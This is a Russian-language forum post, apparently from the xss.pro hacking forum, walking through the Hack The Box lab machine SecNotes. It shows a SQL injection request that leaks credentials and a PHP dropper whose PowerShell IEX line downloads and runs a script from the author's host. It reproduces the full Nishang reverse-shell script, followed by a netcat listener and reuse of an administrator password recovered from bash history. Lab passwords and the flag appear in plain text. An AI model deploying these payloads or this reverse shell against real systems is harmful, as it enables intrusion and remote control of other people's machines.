• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья HTB SecNotes

BabaDook

(L1) cache
Забанен
Регистрация
20.04.2015
Сообщения
734
Реакции
524
Пожалуйста, обратите внимание, что пользователь заблокирован
SecNotes не такая уж и старая или новая, почти 100 дней уже есть, по рейтингу трудности ближе к лёгким. Буду весьма краток и больше по делу. Все необходимые сылки в конце.
Изначально мы получаем только ip 10.10.10.97
Сканируем
masscan -p 1-65535 -e tun0 --rate=600 10.10.10.97
Полученный результат
Scanning 1 hosts [65535 ports/host]
Discovered open port 445/tcp on 10.10.10.97
Discovered open port 80/tcp on 10.10.10.97
Discovered open port 8808/tcp on 10.10.10.97
Для более точной информации о сервисах ещё раз сканируем
nmap -sV 10.10.10.97 -p 80,22,8808
Результат
80/tcp open http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: HTB)
8808/tcp open http Microsoft IIS httpd 10.0
имеем IIS 10, два веба на разных портах и ещё что-то

Самое время через браузер посмотреть на веб
http://10.10.10.97:8808
Ничего интересного
1542988972287.png

Смотрим другой сервис
1542989071858.png

А вот и форма авторизации и даже есть регистрация.
Регаемся, заходим, набюдаем
1542989407489.png

В Запоминаем tyler@secnotes.htb
После долгих и не очень тестов была обнаружена sql
Сылка1
Конечный вектор
Код:
POST /register.php HTTP/1.1
Host: 10.10.10.97
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.97/register.php
Cookie: PHPSESSID=t6mnu2selge8r9b20bftbqj8cd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

username='+or+1=1#&password='+or+1=1#&confirm_password='+or+1=1#
Результат
1542989800389.png

Самое ценное
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&

Теперь разберёмся что это такое

\\secnotes.htb\new-site
10.10.10.97 дириктория

tyler / 92g!mA8BGjOirkL%OG*&
имя пароль
Помните что-то непонятное на 445 порту:

smbclient -U tyler -L \\\\10.10.10.97\\new-site
Водим пароль:92g!mA8BGjOirkL%OG*&
Осмотримся где мы, командой dir и pwd

Код:
smb: \> dir
  .                                   D        0  Fri Nov 23 10:56:24 2018
  ..                                  D        0  Fri Nov 23 10:56:24 2018
  iisstart.htm                        A      696  Thu Jun 21 11:26:03 2018
  iisstart.png                        A    98757  Thu Jun 21 11:26:03 2018
  mmm                                 D        0  Fri Nov 23 10:56:39 2018
  netcat.exe                          A    61440  Fri Nov 23 10:53:57 2018

        12978687 blocks of size 4096. 8012195 blocks available
smb: \> pwd
Current directory is \\10.10.10.97\new-site\
smb: \>
Понимаем что мы в дире сайта на 8808 порту, а это значит что мы можем что-то попытаться загрузить, и обратиться через браузер.
Я на всякий случай, привычка честно сказать, у меня есть кое что на php, хотя зная что IIS, то можно asp,aspx
Немного мыслей:
Я знаю что это винда.. значит я могу использовать cmd. или PowerShell на чём я и остановился. Я даже кстати не смотрел в сторону чего-то другого. На самом деле для меня это был самый очевидный и самый быстрый вариант.
Задумка такая, я грузу php payload который подгрузит в ps1 скрипт, который даст уже мне PS shell
Может немного запутано звучит, но сейчас всё будет понятно.

для начало php файл название его 11.php
PHP:
<?php
echo system("powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.81/1.ps1')");?>
PS script название 1.ps1 сылка2
JavaScript:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress  127.0.0.1 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )


    try
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target."
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.81  -Port 443
Как вы заметили мне надо поднять веб сервер на 80 порты, и принимать Шелл на 443

Открываем 2 консоли , там где лежит файл 1.ps1 пишем

python -m SimpleHTTPServer 80
В другой
nc -lvp 443
В консоле где smbclient
smb: \> put 11.php
putting file 11.php as \11.php (0.1 kb/s) (average 0.1 kb/s)
smb: \>
B последняя команда

1542992305355.png

Теперь можем наблюдать
в консоле где запускали web server и listener

Теперь самое время обследовать систему.
После долгих поисков и безуспешный попыток подключится к БД, я нашёл этот вектор, но должен признать мне подсказали что с этим делать, Ах, на самом деле очень стыдно. Но блин,
Как вы все знайте в WIndows 10 добавили bash, а это значит вектор
Идём в гугл и ищем манула, синтекс простой, bash -c команда
bash -c whoami
root
А теперь самое интересное. О чём я писал под спойлером
bash -c ' cat /root/.bash_history '
Результат
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
exitls -al /
cd /mnt
ls -al
cd c
ls -al
history
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
ls -al
cd Users
ls -al
chown -R root Administrator
chmod -R 777 /mnt/c


Теперь просто копируем команду, меня ip
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$

smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
И завершающая команда
get \Users\Administrator\Desktop\root.txt
и получаем наш флаг

root.txt
7250cde1cab0bbd93fc1edbdc83d447b



сылка1:https://www.hackthis.co.uk/articles/second-order-sql-injections
Сылка2:https://github.com/samratashok/nishang

Почти забыл. Статья только для форуму xss.pro. Больше нигде не размещать,не копировать. до выхода оригинального write-up от команда HTB
Отдельная громадная благодарность и низкий поклон Администрации, разработчиком и всей команде HTB за классные коробки, замечательную атмосферу, за скилл ап и за то что они её сделал, пря мега респект. Кстати, должен сказать что эта лаба качает скилл возможно даже лучше чем offensive-security.com labs
И конечно спасибо админу этого форума.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх